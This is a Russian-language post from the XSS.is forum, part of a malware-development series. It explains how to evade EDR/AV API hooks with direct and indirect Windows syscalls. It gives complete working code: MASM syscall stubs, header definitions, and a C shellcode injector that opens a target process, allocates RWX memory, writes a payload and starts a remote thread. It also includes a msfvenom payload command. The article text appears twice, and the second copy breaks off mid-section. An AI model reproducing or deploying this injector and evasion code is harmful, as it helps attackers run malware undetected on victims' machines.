D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: shqnx
Специально для XSS.is
И снова здравствуйте, уважаемые читатели. В этот раз мы поговорим про системные вызовы и то, как их можно использовать в разработке мальвари. Для тех, кто еще не читал предыдущие части:
Часть 1
Часть 2
Часть 3
Когда WriteFile проделывает свой путь в пользовательском пространстве, он преобразуется в более низкую, менее абстрактную функцию, которая, наряду со многими другими функциями (с префиксом Nt/Zw), экспортируется из ntdll.dll. Для WriteFile ее NTAPI-аналог из ntdll.dll называется NtWriteFile. Затем он переходит в пространство ядра с помощью инструкций SYSENTER или SYSCALL.
Системные вызовы позволяют нам и нашим программам (которые находятся в пользовательском пространстве) взаимодействовать с ядром напрямую. Поскольку мы, жители пользовательского пространства, не можем работать в ядре, нам как раз нужны посредники/интерфейсы, чтобы они делали это за нас.
Перехват вызовов API (API хукинг) - это одна из техник, используемых защитными решениями, такими как EDR/AV, которая отслеживает и перехватывает вызовы часто используемых API (таких как CreateRemoteThreadEx, NtAllocateVirtualMemory и так далее), а также аргументы, передаваемые им, и перенаправляет поток выполнения функции. Как правило, чтобы сделать все это, EDR загружает/вставляет в процесс свою собственную DLL.
Способ, которым хуки (от англ. "hook" - ловушка) фактически изменяют поток выполнения функции, заключается в замене первых пяти байт функции безусловной инструкцией jmp (это означает, что независимо ни от чего, когда инструкция будет достигнута, она перейдет по указанному адресу). Обратите внимание на следующее изображение, на нем показана типичная (не перехваченная) функция и перехваченная:
Это делается для того, чтобы отслеживать, какие API вызываются, в каком порядке, какие аргументы им передаются и так далее. Однако, поскольку мы знаем, что вызовы системных функций начинаются с опкодов: e9 0f 64 f8, это позволяет довольно просто найти функции, вызываемые с помощью них. Таким образом, вместо того чтобы вызывать функцию типа NtWriteVirutalMemory и рисковать тем, что наша функция и ее аргументы будут перенаправлены и исследованы EDR, мы можем просто выполнить системный вызов самостоятельно.
!! Прямые системные вызовы - это не волшебные заклинания для обхода EDR/AV. Защитным решениям все равно очень легко догадаться, что происходит что-то вредоносное. Зачем обычной скучной программе вызывать внутри себя syscall, sysenter, int 2eh? Более подробно об этом мы поговорим далее, но EDR может увидеть, исходит ли вызов syscall из вашей программы или же она естественным путем, как и следовало ожидать, дошла до syscall !!
В общем, пора переходить к "идентификаторам" этих системных вызовов, то есть к их номерам.
Перед вызовом syscall в регистр eax помещается значение, характерное для вызываемой функции. Эти идентификационные номера называются System Service Number/s (SSN). Поскольку системные вызовы относятся к табуированному, недокументированному и низкоуровневому сектору технологий Microsoft, важно отметить, что эти номера не всегда одинаковы для каждой сборки/версии Windows.
Если мы посмотрим на номер системного вызова NtOpenProcess (0x26), то с помощью него сможем быстро найти нашу функцию на данном ресурсе и увидеть номера системных вызовов для предыдущих сборок и версий.
Обратите внимание, что сейчас я использую Windows 10 22H2 19045:
Для дампа номеров системных вызовов можно воспользоваться WinDbg:
После этого мы, наконец, можем перейти к нашей программе для инъекции.
Сейчас мы настроим наш проект на использование Microsoft Macro Assembler (MASM). Именно с его помощью мы будем компилировать наш ассемблерный код. Начните с того, что щелкните правой кнопкой мыши по имени вашего проекта:
Нас интересует пункт - Зависимости сборки > Настройки сборки...
В появившемся окне ставим галочку напротив masm(.targets, .props):
Нажимаем ОК и двигаемся дальше. Теперь мы можем компилировать .asm-файлы. Все, что мы будем делать - это копировать то, как выглядит стандартный стаб системного вызова. На этом все. Есть и более сложный вариант .asm-программы, которая будет определять, какая у вас сборка Windows, и перенаправлять вас к системному вызову, который вы должны использовать, но мы пока оставим все как можно проще, чтобы заложить базовые основы. Нажмите Ctrl+Shift+A, чтобы добавить новый элемент, назовем его syscalls.asm.
Затем щелкните правой кнопкой мыши на этом только что созданном файле и перейдите в раздел Свойства:
В появившемся окне нам нужно убедиться, что для параметра Тип элемента установлено значение Microsoft Macro Assembler, а также параметр Исключен из сборки установлен в явном виде на Нет:
Применяем, закрываем и наконец приступаем к написанию программы. Наш файл syscalls.asm будет выглядеть примерно так:
Код: Скопировать в буфер обмена
Как мы видим, все, что мы сделали - это воссоздали стабы системных вызовов. К счастью, данный код не слишком сложен для реализации и понимания.
C: Скопировать в буфер обмена
Ключевое слово extern, по сути, говорит компилятору использовать наш .asm-файл для прототипов функций Nt, которые мы определяем в заголовочном файле header.h. Для нас очень важно это включить. Что самое хорошее в этой технике, по сравнению, например, с техникой инъекции через NTAPI , так это то, что после выполнения этой части мы можем просто вызывать функции, как обычно - без фиаско с получением адреса процесса из ntdll.dll с помощью GetProcAddress. Вместо этого мы можем вызвать его напрямую. Например, так:
C: Скопировать в буфер обмена
При этом мы уже знаем все эти аргументы и то, какими они должны быть, потому что мы рассмотрели их в предыдущих статьях данной серии. Я не буду повторять все это здесь, так как статья и так получается довольно большой. Вот как должен выглядеть полный код:
C: Скопировать в буфер обмена
Тут все должно быть понятно, поскольку мы уже делали это раньше, за исключением, разве что этого:
C: Скопировать в буфер обмена
Это необязательная часть кода, соответственно вы можете избавиться от нее, если хотите. Код будет работать даже быстрее, так как не будет 1 мс сна между выводимыми байтами. Я добавил эту часть для "красивости" =)
Все, что делает эта часть - печатает наш шелл-код (по одному байту за раз с 1 мс сна на байт). Как только он напечатает 16 байт подряд, он перейдет на новую строку и начнет печатать снова. И так пока он не закончит со всем шелл-кодом. Проверим же наше чудо в действии. Я буду использовать калькуляторный PoC шелл-код из msfvenom.
Как мы видим, все работает, как и ожидалось. Теперь предлагаю рассмотреть то, что сделает процесс нашей инъекции более упорядоченным и автоматизированным.
Код: Скопировать в буфер обмена
И наконец, мы получили рабочую программу для инъекции шелл-кода, используя прямые системные вызовы, а также с динамическим получением SSN.
Теперь хотелось бы поговорить с вами про непрямые системные вызовы.
По большому счету, самая большая проблема с использованием прямых системных вызовов для внедрения в процесс чего-либо вредоносного, будь то шелл-код или библиотека заключается в том, что программа, напрямую вызывающая syscall, сама по себе крайне неестественна и очень подозрительна. Подумайте сами, зачем нормальной программе напрямую вызывать syscall, если она не замышляет что-либо плохое? Конечно, можно привести несколько примеров, когда это действительно делается или когда требуется, но таких случаев очень мало. Дело в том, что для EDR/AV, которые и так находятся в состоянии повышенной готовности, наблюдение за тем, как программа переходит от выполнения самой себя к вызову syscall (который обычно выполняется только в ntdll.dll), является очень подозрительным и наверняка вызовет пару тревог. При использовании прямых вызовов системы наш программный поток выглядит следующим образом:
!!! Системные вызовы обычно выполняются в ntdll.dll. Если наша программа вызывает syscall без того, чтобы этот вызов исходил из ntdll.dll, это очень подозрительно и накладывает на нашу программу дополнительные/нежелательные проверки. Непрямые системные вызовы пытаются решить эту проблему, переходя к инструкции syscall, расположенной внутри ntdll.dll !!!
Как видно из рисунка выше, этот путь от нашей скромной маленькой программы до момента вызова syscall из ntdll.dll довольно странный. Если мы посмотрим на изображение ниже, то увидим, что обычно ожидается от программы, прежде чем она вызовет syscall:
Видите? Ни разу в программе системный вызов не был вызван непосредственно через нее, она проходит через множество модулей, прежде чем попасть в ntdll.dll и затем выполнить инструкцию системного вызова. Итак, как мы можем сделать так, чтобы наша программа имитировала этот ожидаемый путь?
Код: Скопировать в буфер обмена
Это то, что мы делали до сих пор. Перед вызовом инструкции syscall мы перемещаем номер syscall в регистр eax. Что мы хотим сделать с непрямыми вызовами, так это заменить инструкцию syscall на что-то вроде этого:
Код: Скопировать в буфер обмена
Вы можете увидеть, что когда мы доходим до инструкции syscall, на месте, где она раньше стояла, теперь стоит jmp qword ptr <системный вызов NtOpenProcess>. Таким образом, когда выполнение дойдет до этой точки, оно перейдет по адресу легитимной инструкции syscall внутри ntdll.dll, а не выполнит ее напрямую. Отсюда и исходит понятие непрямых системных вызовов, поскольку мы вызываем инструкцию syscall не напрямую.
!!! Не обязательно задавать адреса инструкций syscall, предназначенные именно для вашей функции. Любой адрес системного вызова, если он действителен и реально существует, будет работать !!!
C: Скопировать в буфер обмена
Мы получали SSN-номер потенциальной NTAPI-функции, считывая значение по смещению 0x4 в ассемблерном стабе этой функции.
Мы можем применить ту же логику получения номера системного вызова для получения адреса инструкции syscall. Если мы посмотрим на типичный стаб системного вызова, то увидим, что инструкция syscall располагается по смещению 0x12:
- Стаб NtOpenProcess из x64dbg
Мы также видим, что инструкция syscall состоит из следующих двух опкодов: 0x0f, 0x05. Зная это, мы можем прочитать адрес по смещению 0x12 и убедиться, что эти два опкода присутствуют, что будет указывать на то, что мы попали на корректную инструкцию/адрес syscall. Готовая функция выглядит следующим образом:
C: Скопировать в буфер обмена
Создав эту функцию, мы можем использовать ее для заполнения новой переменной, которая понадобится нам для хранения адресов инструкций syscall:
C: Скопировать в буфер обмена
!!! Обратите внимание на то, что, как мы уже говорили, вы можете использовать один адрес инструкции syscall для всех ваших стабов. Я делаю это иначе исключительно для полноты картины !!!
Теперь в наш файл syscalls.asm мы можем добавить следующее:
Код: Скопировать в буфер обмена
После этого нам остается только вызвать нашу функцию Preparation, чтобы заполнить эти переменные и подготовить их к использованию:
C: Скопировать в буфер обмена
После этого, мы можем скомпилировать нашу программу и запустить ее:
Вот и все. По сути, мы сделали следующее:
Благодарю за внимание!
Спойлер: Полный код
Спойлер: syscalls.asm
Код: Скопировать в буфер обмена
Спойлер: header.h
C: Скопировать в буфер обмена
Спойлер: syscallsinj.c
C: Скопировать в буфер обмена
Специально для XSS.is
И снова здравствуйте, уважаемые читатели. В этот раз мы поговорим про системные вызовы и то, как их можно использовать в разработке мальвари. Для тех, кто еще не читал предыдущие части:
Часть 1
Часть 2
Часть 3
Прямые системные вызовы
В последней статье из данной серии мы говорили о пути, по которому проходит типичная функция WinAPI (например, WriteFile, CreateFile и так далее) из пользовательского пространства в пространство ядра. Поэтому давайте спустимся на ступеньку ниже и посмотрим, что на самом деле происходит с нашими функциями, когда мы достигаем пространство ядра. Более того, мы увидим, как мы можем использовать системные вызовы в наших целях. Давайте обратимся к схеме из предыдущей статьи, чтобы лучше понять, о чем мы будем говорить:Когда WriteFile проделывает свой путь в пользовательском пространстве, он преобразуется в более низкую, менее абстрактную функцию, которая, наряду со многими другими функциями (с префиксом Nt/Zw), экспортируется из ntdll.dll. Для WriteFile ее NTAPI-аналог из ntdll.dll называется NtWriteFile. Затем он переходит в пространство ядра с помощью инструкций SYSENTER или SYSCALL.
Системные вызовы позволяют нам и нашим программам (которые находятся в пользовательском пространстве) взаимодействовать с ядром напрямую. Поскольку мы, жители пользовательского пространства, не можем работать в ядре, нам как раз нужны посредники/интерфейсы, чтобы они делали это за нас.
Преимущество системных вызовов
Как правило, чем ниже вы опускаетесь, тем больше возможностей для тонкой настройки и контроля вы получаете для своих программ. Однако использование системных вызовов напрямую наиболее плодотворно в тех случаях, когда назойливые EDR/AV подцепили наши функции. Я не буду слишком подробно рассказывать про перехват вызовов API (API хукинг), поскольку эта тема заслуживает отдельной статьи, однако все же дам краткое описание:Перехват вызовов API (API хукинг) - это одна из техник, используемых защитными решениями, такими как EDR/AV, которая отслеживает и перехватывает вызовы часто используемых API (таких как CreateRemoteThreadEx, NtAllocateVirtualMemory и так далее), а также аргументы, передаваемые им, и перенаправляет поток выполнения функции. Как правило, чтобы сделать все это, EDR загружает/вставляет в процесс свою собственную DLL.
Способ, которым хуки (от англ. "hook" - ловушка) фактически изменяют поток выполнения функции, заключается в замене первых пяти байт функции безусловной инструкцией jmp (это означает, что независимо ни от чего, когда инструкция будет достигнута, она перейдет по указанному адресу). Обратите внимание на следующее изображение, на нем показана типичная (не перехваченная) функция и перехваченная:
Это делается для того, чтобы отслеживать, какие API вызываются, в каком порядке, какие аргументы им передаются и так далее. Однако, поскольку мы знаем, что вызовы системных функций начинаются с опкодов: e9 0f 64 f8, это позволяет довольно просто найти функции, вызываемые с помощью них. Таким образом, вместо того чтобы вызывать функцию типа NtWriteVirutalMemory и рисковать тем, что наша функция и ее аргументы будут перенаправлены и исследованы EDR, мы можем просто выполнить системный вызов самостоятельно.
!! Прямые системные вызовы - это не волшебные заклинания для обхода EDR/AV. Защитным решениям все равно очень легко догадаться, что происходит что-то вредоносное. Зачем обычной скучной программе вызывать внутри себя syscall, sysenter, int 2eh? Более подробно об этом мы поговорим далее, но EDR может увидеть, исходит ли вызов syscall из вашей программы или же она естественным путем, как и следовало ожидать, дошла до syscall !!
В общем, пора переходить к "идентификаторам" этих системных вызовов, то есть к их номерам.
Перед вызовом syscall в регистр eax помещается значение, характерное для вызываемой функции. Эти идентификационные номера называются System Service Number/s (SSN). Поскольку системные вызовы относятся к табуированному, недокументированному и низкоуровневому сектору технологий Microsoft, важно отметить, что эти номера не всегда одинаковы для каждой сборки/версии Windows.
Дамп номеров системных вызовов
К всеобщему счастью существует ресурс, на котором вы можете просмотреть таблицу с системными вызовами для различных версий и сборок Windows. Ленивые скажут спасибо, а особо заинтересованные - читайте дальше, покажу, как их можно достать вручную.Если мы посмотрим на номер системного вызова NtOpenProcess (0x26), то с помощью него сможем быстро найти нашу функцию на данном ресурсе и увидеть номера системных вызовов для предыдущих сборок и версий.
Обратите внимание, что сейчас я использую Windows 10 22H2 19045:
Для дампа номеров системных вызовов можно воспользоваться WinDbg:
0:000> uf NtOpenProcess
[...]
00007ff8`aabed4c3 b826000000 mov eax,26h
[...]
Нажмите, чтобы раскрыть...
0:000> uf NtAllocateVirtualMemory
[...]
00007ff8`aabed303 b818000000 mov eax,18h
[...]
Нажмите, чтобы раскрыть...
0:000> uf NtWriteVirtualMemory
[...]
00007ff8`aabed743 b83a000000 mov eax,3Ah
[...]
Нажмите, чтобы раскрыть...
0:000> uf NtCreateThreadEx
[...]
00007ff8`aabee833 b8c2000000 mov eax,0C2h
[...]
Нажмите, чтобы раскрыть...
0:000> uf NtWaitForSingleObject
[...]
00007ff8`aabed083 b804000000 mov eax,4
[...]
Нажмите, чтобы раскрыть...
0:000> uf NtClose
[...]
00007ff8`aabed1e3 b80f000000 mov eax,0Fh
[...]
Нажмите, чтобы раскрыть...
После этого мы, наконец, можем перейти к нашей программе для инъекции.
Создание программы
Поскольку мы вводим в наш проект ассемблерный код, нам придется выполнить некоторые настройки в Visual Studio, чтобы все работало как надо. Для удобства просмотра и дальнейшего следования я разделил реализацию на две части: ассемблерную и обычную.Ассемблерная часть
Создаем новый проект в Visual Studio, тут, надеюсь, подсказки не потребуются.Сейчас мы настроим наш проект на использование Microsoft Macro Assembler (MASM). Именно с его помощью мы будем компилировать наш ассемблерный код. Начните с того, что щелкните правой кнопкой мыши по имени вашего проекта:
Нас интересует пункт - Зависимости сборки > Настройки сборки...
В появившемся окне ставим галочку напротив masm(.targets, .props):
Нажимаем ОК и двигаемся дальше. Теперь мы можем компилировать .asm-файлы. Все, что мы будем делать - это копировать то, как выглядит стандартный стаб системного вызова. На этом все. Есть и более сложный вариант .asm-программы, которая будет определять, какая у вас сборка Windows, и перенаправлять вас к системному вызову, который вы должны использовать, но мы пока оставим все как можно проще, чтобы заложить базовые основы. Нажмите Ctrl+Shift+A, чтобы добавить новый элемент, назовем его syscalls.asm.
Затем щелкните правой кнопкой мыши на этом только что созданном файле и перейдите в раздел Свойства:
В появившемся окне нам нужно убедиться, что для параметра Тип элемента установлено значение Microsoft Macro Assembler, а также параметр Исключен из сборки установлен в явном виде на Нет:
Применяем, закрываем и наконец приступаем к написанию программы. Наш файл syscalls.asm будет выглядеть примерно так:
Код: Скопировать в буфер обмена
Код:
.code
NtOpenProcess PROC
mov r10, rcx
mov eax, 26h
syscall
ret
NtOpenProcess ENDP
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h
syscall
ret
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah
syscall
ret
NtWriteVirtualMemory ENDP
NtCreateThreadEx PROC
mov r10, rcx
mov eax, 0C2h
syscall
ret
NtCreateThreadEx ENDP
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, 4h
syscall
ret
NtWaitForSingleObject ENDP
NtClose PROC
mov r10, rcx
mov eax, 0Fh
syscall
ret
NtClose ENDP
end
Как мы видим, все, что мы сделали - это воссоздали стабы системных вызовов. К счастью, данный код не слишком сложен для реализации и понимания.
Обычная часть
Теперь мы можем создать заголовочный файл, в котором будут храниться прототипы функций, необходимые для работы.C: Скопировать в буфер обмена
Код:
#pragma once
#include <stdio.h>
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
/* Определяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
/* Структуры */
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
/* Протоипы функций */
extern NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
extern NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
extern NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
extern NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
extern NTSTATUS NtWaitForSingleObject(
_In_ HANDLE Handle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout);
extern NTSTATUS NtClose(
IN HANDLE Handle);
Ключевое слово extern, по сути, говорит компилятору использовать наш .asm-файл для прототипов функций Nt, которые мы определяем в заголовочном файле header.h. Для нас очень важно это включить. Что самое хорошее в этой технике, по сравнению, например, с техникой инъекции через NTAPI , так это то, что после выполнения этой части мы можем просто вызывать функции, как обычно - без фиаско с получением адреса процесса из ntdll.dll с помощью GetProcAddress. Вместо этого мы можем вызвать его напрямую. Например, так:
C: Скопировать в буфер обмена
Код:
[...]
printf("%s Получены все номера системных вызовов функций, начинаем инъекцию\n", plus);
printf("%s Получаем дескриптор процесса (%ld)\n", asterisk, processID);
STATUS = NtOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, &OA, &CID);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось получить дескриптор процесса (%ld), ошибка: 0x%x\n", minus, processID, STATUS);
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
[...]
При этом мы уже знаем все эти аргументы и то, какими они должны быть, потому что мы рассмотрели их в предыдущих статьях данной серии. Я не буду повторять все это здесь, так как статья и так получается довольно большой. Вот как должен выглядеть полный код:
C: Скопировать в буфер обмена
Код:
#include "header.h"
DWORD NtCloseNumber;
DWORD NtOpenProcessNumber;
DWORD NtCreateThreadExNumber;
DWORD NtWriteVirtualMemoryNumber;
DWORD NtWaitForSingleObjectNumber;
DWORD NtAllocateVirtualMemoryNumber;
/* Получаем модуль */
HMODULE GetModule(IN LPCWSTR modName) {
HMODULE handleModule = NULL;
printf("%s Пытаемся получить дескриптор %S\n", asterisk, modName);
handleModule = GetModuleHandleW(modName);
if (handleModule == NULL) {
printf("%s Не удалось получить дескриптор модуля, ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
else {
printf("%s Дескриптор модуля получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleModule);
return handleModule;
}
}
/* Получаем номера системных вызовов*/
DWORD GetSystemServiceNumber(IN HMODULE hNTDLL, IN LPCSTR NtFunction) {
DWORD NtFunctionSystemServiceNumber = NULL;
UINT_PTR NtFunctionAddress = NULL;
printf("%s Пытаемся получить адрес %s\n", asterisk, NtFunction);
NtFunctionAddress = (UINT_PTR)GetProcAddress(hNTDLL, NtFunction);
if (NtFunctionAddress == NULL) {
printf("%s Не удалось получить адрес %s\n", minus, NtFunction);
return NULL;
}
printf("%s Адрес %s получен\n\n", plus, NtFunction);
printf("%s Получаем SSN %s\n", asterisk, NtFunction);
NtFunctionSystemServiceNumber = ((PBYTE)(NtFunctionAddress + 4))[0];
printf("%s ---> 0x%p+0x4 ---> 0x%lx\n\n", plus, NtFunctionAddress, NtFunctionSystemServiceNumber);
return NtFunctionSystemServiceNumber;
}
int main(int argc, char* argv[]) {
DWORD processID = 0;
HMODULE handleNTDLL = NULL;
NTSTATUS STATUS = NULL;
PVOID buffer = NULL;
HANDLE handleThread = NULL;
HANDLE handleProcess = NULL;
const UCHAR shellcode[] = { x,s,s,.,i,s };
SIZE_T shellcodeSize = sizeof(shellcode);
SIZE_T bytesWritten = 0;
if (argc < 2) {
printf("%s Пример использования: %s <PID>\n", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
CLIENT_ID CID = { (HANDLE)processID, 0 };
OBJECT_ATTRIBUTES OA = { sizeof(OA), 0 };
/* Получаем номера системных вызовов */
handleNTDLL = GetModule(L"NTDLL");
NtOpenProcessNumber = GetSystemServiceNumber(handleNTDLL, "NtOpenProcess");
NtAllocateVirtualMemoryNumber = GetSystemServiceNumber(handleNTDLL, "NtAllocateVirtualMemory");
NtWriteVirtualMemoryNumber = GetSystemServiceNumber(handleNTDLL, "NtWriteVirtualMemory");
NtCreateThreadExNumber = GetSystemServiceNumber(handleNTDLL, "NtCreateThreadEx");
NtWaitForSingleObjectNumber = GetSystemServiceNumber(handleNTDLL, "NtWaitForSingleObject");
NtCloseNumber = GetSystemServiceNumber(handleNTDLL, "NtClose");
/* Выполняем инъекцию */
printf("%s Получены все номера системных вызовов функций, начинаем инъекцию\n", plus);
printf("%s Получаем дескриптор процесса (%ld)\n", asterisk, processID);
STATUS = NtOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, &OA, &CID);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось получить дескриптор процесса (%ld), ошибка: 0x%x\n", minus, processID, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
printf("%s Выделяем буфер в памяти процесса\n", asterisk);
STATUS = NtAllocateVirtualMemory(handleProcess, &buffer, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось выделить память, ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Выделен буфер с PAGE_EXECUTE_READWRITE [RWX] разрешениями\n", plus);
printf("%s Записываем полезную нагрузку в выделенный буфер\n", plus);
// Удалите эту часть, если вам нужна бОльшая скорость
for (int i = 0; i < sizeof(shellcode); i++) {
if (i % 16 == 0) {
printf("\n ");
}
Sleep(1);
printf(" %02X", shellcode[i]);
}
puts("\n");
STATUS = NtWriteVirtualMemory(handleProcess, buffer, shellcode, sizeof(shellcode), &bytesWritten);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Запись в выделенный буфер не удалась, ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Записано %zu байт в выделенный буфер\n\n", plus, bytesWritten);
printf("%s Создаем поток, начинаем выполнение\n", asterisk);
STATUS = NtCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, NULL, handleProcess, buffer, NULL, FALSE, 0, 0, 0, NULL);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось создать поток, ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
return 1;
}
printf("%s Поток создан\n\n", plus);
/* Очистка и выход */
printf("%s Ожидание завершения выполнения потока\n", asterisk);
STATUS = NtWaitForSingleObject(handleThread, FALSE, NULL);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось дождаться завершения объекта (handleThread), ошибка: 0x%x\n", minus, STATUS);
// Освобождаем ресурсы
if (handleProcess)
NtClose(handleProcess);
if (handleThread)
NtClose(handleThread);
return 1;
}
printf("%s Поток завершил выполнение\n\n", plus);
printf("%s Начинаем очистку\n", asterisk);
if (handleProcess) {
printf("%s Закрываем дескриптор процесса\n", asterisk);
STATUS = NtClose(handleProcess);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось закрыть дескриптор, ошибка: 0x%x\n", minus, STATUS);
return 1;
}
printf("%s Успешно\n", plus);
}
if (handleThread) {
printf("%s Закрываем дескриптор потока\n", asterisk);
STATUS = NtClose(handleThread);
if (!STATUS == STATUS_SUCCESS) {
printf("%s Не удалось закрыть дескриптор, ошибка: 0x%x\n", minus, STATUS);
return 1;
}
printf("%s Успешно\n", plus);
}
printf("%s Очистка завершена\n", plus);
return 0;
}
Тут все должно быть понятно, поскольку мы уже делали это раньше, за исключением, разве что этого:
C: Скопировать в буфер обмена
Код:
[...]
for (int i = 0; i < sizeof(shellcode); i++) {
if (i % 16 == 0) {
printf("\n ");
}
Sleep(1);
printf(" %02X", shellcode[i]);
}
puts("\n");
[...]
Это необязательная часть кода, соответственно вы можете избавиться от нее, если хотите. Код будет работать даже быстрее, так как не будет 1 мс сна между выводимыми байтами. Я добавил эту часть для "красивости" =)
Все, что делает эта часть - печатает наш шелл-код (по одному байту за раз с 1 мс сна на байт). Как только он напечатает 16 байт подряд, он перейдет на новую строку и начнет печатать снова. И так пока он не закончит со всем шелл-кодом. Проверим же наше чудо в действии. Я буду использовать калькуляторный PoC шелл-код из msfvenom.
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f csharp EXITFUNC=thread
Нажмите, чтобы раскрыть...
Как мы видим, все работает, как и ожидалось. Теперь предлагаю рассмотреть то, что сделает процесс нашей инъекции более упорядоченным и автоматизированным.
Динамическое извлечение системных вызовов
Нам придется немного отредактировать наш .asm-файл, чтобы использовать внешнюю переменную (которую мы будем заполнять нашей функцией GetSystemServiceNumber) вместо жестко заданного SSN, поскольку теперь мы делаем это динамически:Код: Скопировать в буфер обмена
Код:
.data
; Мы будем получать SSN из нашей основной программы
EXTERN NtCloseNumber:DWORD
EXTERN NtOpenProcessNumber:DWORD
EXTERN NtCreateThreadExNumber:DWORD
EXTERN NtWriteVirtualMemoryNumber:DWORD
EXTERN NtWaitForSingleObjectNumber:DWORD
EXTERN NtAllocateVirtualMemoryNumber:DWORD
.code
NtOpenProcess proc
mov r10, rcx
mov eax, NtOpenProcessNumber
syscall
ret
NtOpenProcess endp
NtAllocateVirtualMemory proc
mov r10, rcx
mov eax, NtAllocateVirtualMemoryNumber
syscall
ret
NtAllocateVirtualMemory endp
NtWriteVirtualMemory proc
mov r10, rcx
mov eax, NtWriteVirtualMemoryNumber
syscall
ret
NtWriteVirtualMemory endp
NtCreateThreadEx proc
mov r10, rcx
mov eax, NtCreateThreadExNumber
syscall
ret
NtCreateThreadEx endp
NtWaitForSingleObject proc
mov r10, rcx
mov eax, NtWaitForSingleObjectNumber
syscall
ret
NtWaitForSingleObject endp
NtClose proc
mov r10, rcx
mov eax, NtCloseNumber
syscall
ret
NtClose endp
end
И наконец, мы получили рабочую программу для инъекции шелл-кода, используя прямые системные вызовы, а также с динамическим получением SSN.
Теперь хотелось бы поговорить с вами про непрямые системные вызовы.
Непрямые системные вызовы
Сейчас я расскажу о том, что такое непрямые системные вызовы и почему их лучше использовать вместо прямых системных вызовов.По большому счету, самая большая проблема с использованием прямых системных вызовов для внедрения в процесс чего-либо вредоносного, будь то шелл-код или библиотека заключается в том, что программа, напрямую вызывающая syscall, сама по себе крайне неестественна и очень подозрительна. Подумайте сами, зачем нормальной программе напрямую вызывать syscall, если она не замышляет что-либо плохое? Конечно, можно привести несколько примеров, когда это действительно делается или когда требуется, но таких случаев очень мало. Дело в том, что для EDR/AV, которые и так находятся в состоянии повышенной готовности, наблюдение за тем, как программа переходит от выполнения самой себя к вызову syscall (который обычно выполняется только в ntdll.dll), является очень подозрительным и наверняка вызовет пару тревог. При использовании прямых вызовов системы наш программный поток выглядит следующим образом:
